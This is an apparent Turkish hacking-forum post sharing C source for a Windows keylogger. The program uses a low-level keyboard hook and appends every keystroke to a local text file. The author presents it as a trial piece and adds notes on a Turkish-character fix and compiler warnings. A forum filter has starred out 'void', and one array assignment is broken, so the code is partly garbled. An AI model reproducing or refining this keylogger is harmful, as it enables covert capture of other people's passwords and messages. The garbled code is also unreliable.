Kimmer
Değerli bir source daha.
ÖZELLİKLER
Uygulama açıkken log tutar.
Çalıştığı dizine " loglar " adında bir txt dosyası oluşturur.
Türkçe karakter sorunu vardı ama hallettim.
Dev c++ hata verebilir lakin aldırmayın sorunsuz bir şekilde çalışır.
Deneme amaçlı kodlanmıştır. Daha kalitelileri bulunabilir.
ÖZELLİKLER
Uygulama açıkken log tutar.
Çalıştığı dizine " loglar " adında bir txt dosyası oluşturur.
Türkçe karakter sorunu vardı ama hallettim.
Code:
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
HHOOK hKeyHook;
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode,
WPARAM wParam,
LPARAM lParam
) {
if ((nCode == HC_ACTION) &&
((wParam == WM_SYSKEYDOWN) ||
(wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;
char lpszName[0x100] = {0};
lpszName[0] = ' ';
int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;
lpszName = ' ';
FILE *file;
file=fopen("kayitlar.txt","a+");
fputs(lpszName,file);
fflush(file);
}
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
**** MsgLoop() //**** yazan yerde v o i d (boşluksuz olarak) yazıyor
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
DWORD WINAPI KeyLogger(LP**** lpParameter) //**** yazan yerde V O I D
{
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx (
WH_KEYBOARD_LL,
(HOOKPROC) KeyEvent,
hExe,
NULL
);
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LP****) argv[0], NULL, &dwThread); //**** yazan yerde V O I D
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 1;
}
}
Deneme amaçlı kodlanmıştır. Daha kalitelileri bulunabilir.